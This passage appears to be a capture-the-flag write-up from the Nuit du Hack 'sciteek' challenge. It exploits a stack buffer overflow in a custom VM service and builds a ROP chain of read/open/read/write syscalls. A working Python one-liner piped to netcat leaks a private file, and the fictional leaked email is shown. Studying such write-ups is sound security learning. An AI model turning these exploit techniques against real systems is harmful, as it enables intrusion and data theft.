So sys_read is invoked, with a specified size of 1020 (0x84cf: movl r2, #0x03fc). There is an obvious buffer overflow. Unfortunatly (but that’s moar fun), the stack is not executable because of NX bit:

% python -c 'print "A"*512+"\xef\xbeBBCC"'|nc sciteek.nuitduhack.com 4005
[!] Segfault 0x4242 (NX bit)

We assumed ASLR was on and no PIE, let’s ROP :)

We want to proceed as below:

movl r3, #0x20
movl r2, #0x2000
movl r1, #0
movl r0, 3
syscall                         ; read
mov r1, r2 
movl r2, #0
movl r0, #2
syscall                         ; open
mov r1, r0
movl r2, #0x3000
movl r3, #0x1024
movl r0, #3
syscall                         ; read
mov r3, r0
movl r1, #1
movl r0, #4
syscall                         ; write

Our ROP gadgets:

; READ
[0x8172]
        0x8172: pop r3
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
[0x81e4]
        0x81e4: movb r0, #0x03
        0x81e8: syscall
        0x81e9: ret
 
; OPEN
[0x8174]
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
[0x81d2]
        0x81d2: movb r0, #0x02
        0x81d6: syscall
        0x81d7: ret
 
; READ
[0x8172]
        0x8172: pop r3
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
 
[0x81e0]
        0x81e0: mov r1, r0
        0x81e4: movb r0, #0x03
        0x81e8: syscall
        0x81e9: ret
 
; WRITE
[0x818f]
        0x818f: movb r1, #0x01
        0x8193: movb r0, #0x04
        0x8197: syscall
        0x8198: pop r1
        0x819a: pop r0
        0x819c: ret

ROP Payload:

0x8172
0x14
0x2000
0x0
 
0x81e4
 
0x8174
0x0
0x2000
 
0x81d2
 
0x8172
1024
0x3000
0xdead
 
0x81e0
 
0x818f

We then fill the first read (0x3fc bytes) with junk:

‘Z’ * (0x3fc - len(payload) - 512)

And our file: “sciteek-private\x00”.

So, our buffer overflow is as follows: [JUNK][CANARY][ROP PAYLOAD][JUNK][FILENAME]

Finally our python one-liner:

python -c 'from struct import pack; print "A"*512+"\xef\xbe"+"".join(pack("<H", i) for i in [0x8172, 0x14, 0x2000, 0x0, 0x81e4, 0x8174, 0x0, 0x2000, 0x81d2, 0x8172, 0x1024, 0x3000, 0xdead, 0x81e0, 0x818f])+"Z"*0x1dc+"sciteek-private.txt\x00"'|nc sciteek.nuitduhack.com 4005
 
Dear Patrick,
 
We found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.
 
However, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business
, but one of them contains an archive with an explicit name.
 
We cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.
 
Sincerely,
 
David Markham.
[!] Segfault 0x5a5a (NX bit)